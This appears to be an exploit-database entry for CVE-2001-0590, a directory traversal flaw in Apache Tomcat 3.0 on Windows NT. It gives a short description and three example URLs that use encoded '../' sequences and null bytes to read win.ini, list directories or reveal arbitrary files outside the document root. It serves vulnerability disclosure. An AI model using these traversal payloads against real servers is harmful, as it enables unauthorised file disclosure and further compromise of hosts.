Apache Tomcat 3.0 - Directory Traversal

Author: lovehacker
type: remote
platform: windows
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date_added: 2001-03-28 
date_updated: 2012-08-22 
verified: 1 
codes: CVE-2001-0590;OSVDB-5580 
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source: https://www.securityfocus.com/bid/2518/info

Apache Tomcat in a Windows NT environment could be led to traverse the normal directory structure and return requested files from outside of the document root.

By including '/../' sequences along with specially chosen characters in requested URLs, a remote user can obtain read access to directories and files outside of the document root, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host.

The following examples have been provided by lovehacker <lovehacker@263.net>:

http://www.example.com/../../winnt/win.ini%00examples/jsp/hello.jsp

Will cause the Tomcat server to send back the content of win.ini.

http://www.example.com/%2e%2e/%2e%2e/%00.jsp

will disclose a directory listing from outside Tomcat's normal directory tree.

http://www.example.com/%2e%2e/%2e%2e%5cfilename%00.jsp

will reveal the requested file [filename].